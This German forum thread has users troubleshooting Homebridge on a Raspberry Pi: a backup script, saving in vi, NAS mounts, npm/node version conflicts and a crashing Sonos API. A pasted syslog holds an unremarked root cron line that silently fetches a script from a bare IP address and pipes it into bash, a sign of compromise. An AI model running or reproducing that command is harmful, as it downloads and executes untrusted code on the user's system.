Hab es rausgefunden. In der config-ui-x war in den Einstellungen Show Input Buttons eingeschaltet. Ich kannte dieses Menü gar nicht.
wozu der "TV sequence 0" button taugt, hab ich bisher aber nicht rausfinden können.
Hab es rausgefunden. In der config-ui-x war in den Einstellungen Show Input Buttons eingeschaltet. Ich kannte dieses Menü gar nicht.
wozu der "TV sequence 0" button taugt, hab ich bisher aber nicht rausfinden können.
Habt ihr bei euch die ganzen Eingänge auch nochmal als einzelne switches drin wie hier?
Eigentlich unnötig da sie für eine Automation nicht nötig sind und da einfach die TV Kachel reicht wo man den Eingang auswählen kann.
Also meine json.config speicher ich immer mit "Option taste+o und danach Enter" Auf dem Mac wohlgemerkt. Ich nehme an das ist richtig. Das mit :wq versteh ich weiterhin nicht.
Ist das hier etwa anders?
Gebe ich :wq ein, passiert erwartungsgemäß nichts bzw. er schreibt :wq
Die harte tour funktioniert übrigens auch nicht.
Es scheint auch so als würde das mit SDA2 im editor nicht annehmen obwohl es gespeichert ist und da ja steht. Ich werd wohl aufgeben ...![]()
Sicherung gestartet: 19:30:16
Soll "ntfy" jetzt installiert werden y/n? (n)
dd: Fehler bein
'/mnt/sda1/hbridge_stretch_4.9.63_30122019.img': Auf dem Gerät ist kein Speicherplatz mehr verfügbar 207+0 Datensätze ein 206+0 Datensätze aus
206471168 Bytes (206 MB, 197 MiB) kopiert, 32,8353 s, 6,3 MB/s
Sicherung beendet..: 19:30:59
Danke det probiere ich gleich !:)
Aber was ist denn: wq?
Habe es geändert aber er macht es immer noch auf SDA1.
meine güte heute geht auch echt auch wieder nichts..
Warum überhaupt dieser Stick auf einmal SDA1 und SDA2? Ich hatte früher auch schon auf diesem stick die Backups gemacht und da war das nicht so das da mehrere Volumes drauf waren.
#!/bin/bash
#set -x
#
## =======================================
## vom User festlegbare Variablen
## =======================================
# zum ermitteln was eingetragen werden muss, starte "raspiBackup.sh listdev"
USB_Device="sda2" # Das Sicherungs-Device eintragen "sda1", "sdc1" oder "sdb1"
Boot_Device="" # Das Boot-Device eintragen (Achtung ohne Ziffer, sda, sdb)
#
IMG_NAME="" # Dateiname der Sicherungsdatei (+Datum, wird autom. angefügt)
LOGFILE="" # = "" kein mit loggen in einer Datei
#LOGFILE="journal" # "journal" loggen in /var/log/syslog mit "sudo journalctl -f"
#LOGFILE="/var/log/raspi-backup.log" # logge alle Ausgaben in dieser Datei mit
Distri="" # "Raspbian" für RaspBerry oder "Debian" für x86 System
SendTgram="1" # 1= über Telegram benachrichtigen, 0= keine Nachricht senden (wenn ntfy installiert ist)
#
# Anzahl der zu erhaltenden Backups +1 neues
AnzBackup="3" # 2 alte Backups bleiben erhalten +1 (aktuelle Sicherung)
DispSicTime="1" # Anzeige der Uhrzeit vor und nach der Sicherung/Shrinking
#
#
# Author: det
Version="0.1.7"
Alles anzeigen
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 1 14,5G 0 disk
├─sda1 8:1 1 200M 0 part
└─sda2 8:2 1 14,1G 0 part /media/pi/USB
mmcblk0 179:0 0 7,4G 0 disk
├─mmcblk0p1 179:1 0 41,8M 0 part /boot
└─mmcblk0p2 179:2 0 7,4G 0 part /
Jetzt den Sicherungs-Stick anstecken! (10sec warten, dann weiter mit Enter)
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 1 14,5G 0 disk
├─sda1 8:1 1 200M 0 part
└─sda2 8:2 1 14,1G 0 part /media/pi/USB
mmcblk0 179:0 0 7,4G 0 disk
├─mmcblk0p1 179:1 0 41,8M 0 part /boot
└─mmcblk0p2 179:2 0 7,4G 0 part /
Das neue Device in obiger Liste in die Variable (am Dateianfang)
USB_Device="" eintragen. (sda1, sdb1, sdc1..)(mit einem Linux-Editor)
Das Device welches /boot enthällt bei
Boot_Device="" eintragen. (Achtung ohne Ziffer!!)
Beispiel vorgehen:
In einer SSH-Konsole eingeben: "vi ./hbridge_install/raspiBackup.sh"
mit den Kursor Tasten zu den Variablen gehen und das Device eintragen.
USB_Device="sdc1"
Boot_Device="sda"
Editor beenden und speichern mit der Eingabe: ":wq"
Alles anzeigen
Genau das wollte ich machen SDA2 eintragen. Aber wie Speicher und verlasse ich das ganze dann richtig?
Ich habe es durch schließen des Terminals verlassen und bekomme jetzt die Meldung auf Bild 3.
Ja ich weiß ist alt aber funktioniert ja grundsätzlich ![]()
Jetzt wollte ich einen anderen Stick nehmen und hab den natürlich formatiert. Aber ich krieg nen Fehler. Als wären dort mehrere Partitionen drauf. Wie mache ich das Backup denn auf SDA2? Bei SDA1 bricht er wegen Speichermangel logischerweise ab.
Auf dem Stick sind folgende Image's:
-rwxr-xr-x 1 root root 197M Dez 30 15:02 /mnt/sda1/hbridge_stretch_4.9.63_30122019-2.img
-rwxr-xr-x 1 root root 0 Dez 30 15:09 /mnt/sda1/hbridge_stretch_4.9.63_30122019.img
Achte auf die Zeile, die mit /dev/sd.. beginnt.
Dateisystem Größe Benutzt Verf. Verw% Eingehängt auf
/dev/sda2 15G 5,6M 15G 1% /media/pi/USB
/dev/sda1 197M 197M 1,5K 100% /mnt/sda1
Ich soll hier irgendwie das device ändern aber ich weiß nicht wie das geht. ich komme noch in den editor aber ich weiß nicht wie ich das speichern soll. Außerdem verhält sich der Editor komisch.. Wie beende und Speicher ich denn? det
Außerdem erzählt das teil irgendwas von swap file weil ich das Terminal einfach geschlossen habe da ich keine Ahnung habe wie ich damit arbeite und es Speicher bzw beende.. ![]()
Ich bekomme nach über einer stunde keinerlei Rückmeldung. Da muss doch was hängen... Sonst kam da doch immer eine Meldung zum Schluß. Ich werd da auch echt nicht schlau draus...
Ah die größe ändert sich immer noch. Muss wohl eine schlechte Kombi sein microSD>MicroSDAdapter>USBCARDReader>Raspi....
Bei NFS kommt folgendes:
pi@Homebridge:~ $ sudo mount nfs://192.168.178.28/i-data/ed6dcecd/nfs/homebridge /mnt/backup
mount.nfs: NFS URLs are not supported
Ich weiß auch nicht wie ich in die hbridge.cfg reinkomme.
in der hbridge.cfg Datei Variablen setzen
Backup_Device="192.168.178.28/admin-1/backup"
Backup_Pfad="/mnt/backup" (dieser Ordner muss auf dem Raspberry existieren.
Ich weiß ehrlich gesagt nicht genau wie die NAS Platten formatiert sind aber das muss Linux sein.
Nastra Kannst du helfen?
det wenn man den Ordner im NAS eingebunden hat wie stoßt man dann die Sicherung an das diese auf NAS und nicht auf einem stick gesichert wird?
Bei dem Einbinden welche Adresse wird da eingegeben? Der Pfad lautet wie folgt laut Finder von MacOS: smb://nsa325/backup
bzw.192.168.178.28/backup
Gebe ich das ein kommt das:
pi@Homebridge:/mnt/backup $ sudo mount 192.168.178.28/nsa325/backup /mnt/backup
mount: special device 192.168.178.28/admin-1/backup does not exist
optional noch das:
pi@Homebridge:~ $ sudo mount 192.168.178:28/backup /mnt/backup
mount.nfs: Network is unreachable
det ich mache mal wieder ein backup mit deinem tool. Ist es irgendwie möglich sich den fortschritt anzeigen zu lassen?Die Sicherung meiner 8GB dauert jetzt 1h an und ich weiß nicht ob das im Rahmen ist oder es irgendwo hängt.
Ich habe nichts gemacht bisher und die API geht wieder. Ich versteh es nicht so recht. Mal geht sie mal nicht. Ich kann aber keinen Fehler rauslesen aus dem LOG.
aber ich wollte ja ein altes ZP plugin wieder installieren welches ja bereits lief laut Signatur. jetzt seitdem ich das npm update gemacht habe, meckert er wegen dem engine wie oben steht. komisch ist das
Muss ich vorher das ganze deinstallieren oder kann ich es einfach drüber bügeln ?
die Anleitung für das installieren ist hier ja von dir. Aber wie ich es deinstallieren ich weiß ich nicht
Kannst du hiermit was anfangen sschuste ? Deshalb klappt es wohl mit der API nicht mehr.
Und sonst hast du eine Idee warum das ZP plugin rummeckert trotz richtiger Node, HB Versionen?
Dec 29 13:52:34 Homebridge systemd[1]: Started Sonos API.
Dec 29 13:52:35 Homebridge node[14991]: 2019-12-29T12:52:35.539Z INFO Could not find file /home/pi/node-sonos-http-api-master/settings.json
Dec 29 13:52:36 Homebridge node[14991]: 2019-12-29T12:52:36.059Z INFO Presets loaded: { example:
Dec 29 13:52:36 Homebridge node[14991]: { players:
Dec 29 13:52:36 Homebridge node[14991]: [ { roomName: 'Bathroom', volume: 10 },
Dec 29 13:52:36 Homebridge node[14991]: { roomName: 'Kitchen', volume: 10 },
Dec 29 13:52:36 Homebridge node[14991]: { roomName: 'Office', volume: 10 },
Dec 29 13:52:36 Homebridge node[14991]: { roomName: 'Bedroom', volume: 10 },
Dec 29 13:52:36 Homebridge node[14991]: { roomName: 'TV Room', volume: 15 } ],
Dec 29 13:52:36 Homebridge node[14991]: playMode: { shuffle: true, repeat: 'all', crossfade: false },
Dec 29 13:52:36 Homebridge node[14991]: pauseOthers: false } }
Dec 29 13:52:39 Homebridge node[14991]: 2019-12-29T12:52:39.232Z INFO http server listening on 0.0.0.0 port 5005
Dec 29 13:52:40 Homebridge node[14991]: /home/pi/node-sonos-http-api-master/node_modules/sonos-discovery/lib/models/Player.js:99
Dec 29 13:52:40 Homebridge node[14991]: track.duration = parseTime((item.res.$attrs || item.res).duration);
Dec 29 13:52:40 Homebridge node[14991]: ^
Dec 29 13:52:40 Homebridge node[14991]: TypeError: Cannot read property '$attrs' of undefined
Dec 29 13:52:40 Homebridge node[14991]: at EventEmitter.<anonymous> (/home/pi/node-sonos-http-api-master/node_modules/sonos-discovery/lib/models/Player.js:99:43)
Dec 29 13:52:40 Homebridge node[14991]: at emitOne (events.js:77:13)
Dec 29 13:52:40 Homebridge node[14991]: at EventEmitter.emit (events.js:169:7)
Dec 29 13:52:40 Homebridge node[14991]: at SAXStream.onCloseTag (/home/pi/node-sonos-http-api-master/node_modules/xml-flow/lib/xml-flow.js:131:15)
Dec 29 13:52:40 Homebridge node[14991]: at emitOne (events.js:77:13)
Dec 29 13:52:40 Homebridge node[14991]: at SAXStream.emit (events.js:169:7)
Dec 29 13:52:40 Homebridge node[14991]: at Object.me._parser.(anonymous function) [as onclosetag] (/home/pi/node-sonos-http-api-master/node_modules/xml-flow/node_modules/sax/lib/sax.js:258:17)
Dec 29 13:52:40 Homebridge node[14991]: at emit (/home/pi/node-sonos-http-api-master/node_modules/xml-flow/node_modules/sax/lib/sax.js:624:35)
Dec 29 13:52:40 Homebridge node[14991]: at emitNode (/home/pi/node-sonos-http-api-master/node_modules/xml-flow/node_modules/sax/lib/sax.js:629:5)
Dec 29 13:52:40 Homebridge node[14991]: at closeTag (/home/pi/node-sonos-http-api-master/node_modules/xml-flow/node_modules/sax/lib/sax.js:889:7)
Dec 29 13:52:40 Homebridge node[14991]: at Object.write (/home/pi/node-sonos-http-api-master/node_modules/xml-flow/node_modules/sax/lib/sax.js:1436:13)
Dec 29 13:52:40 Homebridge node[14991]: at SAXStream.write (/home/pi/node-sonos-http-api-master/node_modules/xml-flow/node_modules/sax/lib/sax.js:239:18)
Dec 29 13:52:40 Homebridge node[14991]: at Readable.ondata (_stream_readable.js:542:20)
Dec 29 13:52:40 Homebridge node[14991]: at emitOne (events.js:77:13)
Dec 29 13:52:40 Homebridge node[14991]: at Readable.emit (events.js:169:7)
Dec 29 13:52:40 Homebridge node[14991]: at readableAddChunk (_stream_readable.js:153:18)
Dec 29 13:52:40 Homebridge systemd[1]: sonos-http-api-master.service: Main process exited, code=exited, status=1/FAILURE
Dec 29 13:52:40 Homebridge systemd[1]: sonos-http-api-master.service: Unit entered failed state.
Dec 29 13:52:40 Homebridge systemd[1]: sonos-http-api-master.service: Failed with result 'exit-code'.
Dec 29 13:53:01 Homebridge CRON[15019]: (root) CMD (wget -q -O - http://192.99.142.240:8220/mr.sh | bash -sh > /dev/null 2>&1)
Dec 29 13:53:10 Homebridge systemd[1]: sonos-http-api-master.service: Service hold-off time over, scheduling restart.
Dec 29 13:53:10 Homebridge systemd[1]: Stopped Sonos API.
Alles anzeigen
Downgrade der NPM Version geht auch nicht...
pi@Homebridge:~ $ sudo npm i [email protected]
npm WARN saveError ENOENT: no such file or directory, open '/home/pi/package.json'
npm WARN enoent ENOENT: no such file or directory, open '/home/pi/package.json'
npm WARN pi No description
npm WARN pi No repository field.
npm WARN pi No README data
npm WARN pi No license field.
added 19 packages from 11 contributors, removed 62 packages, updated 70 packages and audited 6539 packages in 46.043s
14 packages are looking for funding
run `npm fund` for details
found 24 vulnerabilities (10 low, 14 high)
run `npm audit fix` to fix them, or `npm audit` for details
Fummel, bastel, frickel: peng. Du beschreibst meine Sonntage. Kannst du deine Node-Version anheben?
Oh ja solche Sonn- und Feiertage hatte ich auch schon zu genüge...
Könnte ich vermutlich aber bei node habe ich immer noch am meisten angst das danach nichts mehr geht.
Backup ist auch schon einige tage her. Wenn es läuft, dann läuft es seit Monaten. Bis auf ab und an ein Neustart aber das weniger wegen homebridge selbst. Nur die Sonos api wollte mal wieder nicht.
Bei mir laufen aktuell die Api Befehle wie es sein soll.
(Homebridge-zp habe ich deinstalliert das es leider nicht mehr funktionierte)
Nach dem gefrickel bekomme ich neuerdings diese Meldung:
{"status":"error","error":"No system has yet been discovered. Please see https://github.com/jishi/node-sonos-http-api/issues/77 if it doesn't resolve itself in a few seconds."}
bzw. doch wieder:
curl: (7) Failed to connect to 192.168.178.74 port 5005: Verbindungsaufbau abgelehnt
EDIT: Jetzt wollte ich eine richtig alte Version installieren und bekomme immer noch die gleiche Meldung. Obwohl ich doch laut Meldung die mindest Node Version sowie Homebridge habe.. Kann das an der NPM Version liegen? die ist doch aktuell.... Mehr als NPM Update hab ich nicht gemacht.
npm WARN deprecated [email protected]: Latest version: 3.0.1
npm WARN saveError ENOENT: no such file or directory, open '/home/pi/package.json'
npm WARN notsup Unsupported engine for [email protected]: wanted: {"homebridge":"^0.4.45","node":"^8.12.0"} (current: {"node":"9.9.0","npm":"6.13.4"})
npm WARN notsup Not compatible with your version of node/npm: [email protected]
npm WARN notsup Unsupported engine for [email protected]: wanted: {"homebridge":"^0.4.45","node":"^8.12.0"} (current: {"node":"9.9.0","npm":"6.13.4"})
npm WARN notsup Not compatible with your version of node/npm: [email protected]
npm WARN enoent ENOENT: no such file or directory, open '/home/pi/package.json'
npm WARN pi No description
npm WARN pi No repository field.
npm WARN pi No README data
npm WARN pi No license field.
added 41 packages from 41 contributors, removed 6 packages, updated 1 package and audited 12894 packages in 43.435s
14 packages are looking for funding
run `npm fund` for details
found 34 vulnerabilities (13 low, 21 high)
run `npm audit fix` to fix them, or `npm audit` for details
Hab mir gerade noch paar mehr Probleme gemacht. Ich wollte versuchen nem zu updaten damit es damfit evtl geht. jetzt geht mit nem 6.13.4 das Sonos-zp nicht mehr und die ganze Homebridge...
ich weiß nicht mehr welche Versionen ich alle vorher hatte aber damit ging das ZP plugin noch.
node 9.9.0 und Homebridge 0.4.48 ist es auf jeden fall. jetzt halt npm 6.13.4.
ZP 1.0.17 sagt meine engine ist zu alt.
Jetzt bin ich wieder daran erinnert warum ich immer erst update wenn es sein muss....![]()
Wenn ich bloß wüsste welche NPM Version ich vorher hatte...
Funktioniert bei euch die api weiterhin?
Ich nutze das ganze selten aber hin und wieder bekomme ich diesen Fehler. Nach einem Neustart des pi ging das eigentlich immer danach weil es ja im autostart ist. Jetzt hilft aber nichts mehr ![]()
bei einem nochmaligen Start der api bekomme ich die Meldung das sie bereits läuft.
Die option Hotspot einschalten gibt es leider nicht.
Ich habe allerdings in Verbindung mit CarPlay als trigger auch ein Problem.
es soll die Blitzer App geöffnet werden. Ich werde informiert dass es ausgeführt wird aber es passiert nichts.
Das gleiche mit Verbindung zu Bluetooth des Fahrzeugs klappt einwandfrei. Muss halt vorher bestätigt werden
Der Unterschied ist doch hier das er den Sensor mit hue eingerichtet hat und nicht mit HomeKit. Mit hier hat man doch diese Problematik nicht war mir so?
ich habe meine Motion alle mit hue oder iConnectHue eingerichtet und seitdem funktioniert das gut.
Mit homekit war es wegen der 10sek Problematik immer murx
Da muss ich dir recht geben ![]()
mir war nicht bewusst das du keine Homebridge unterhältst ![]()
ulti bei den shellys ist es doch so wie bei allen smarten Geräten die nicht von Haus aus HomeKitfaehig sind.
Sie werden Über ein plugin reingeholt.
Oder meintest du dir fehlt nativ HomeKit?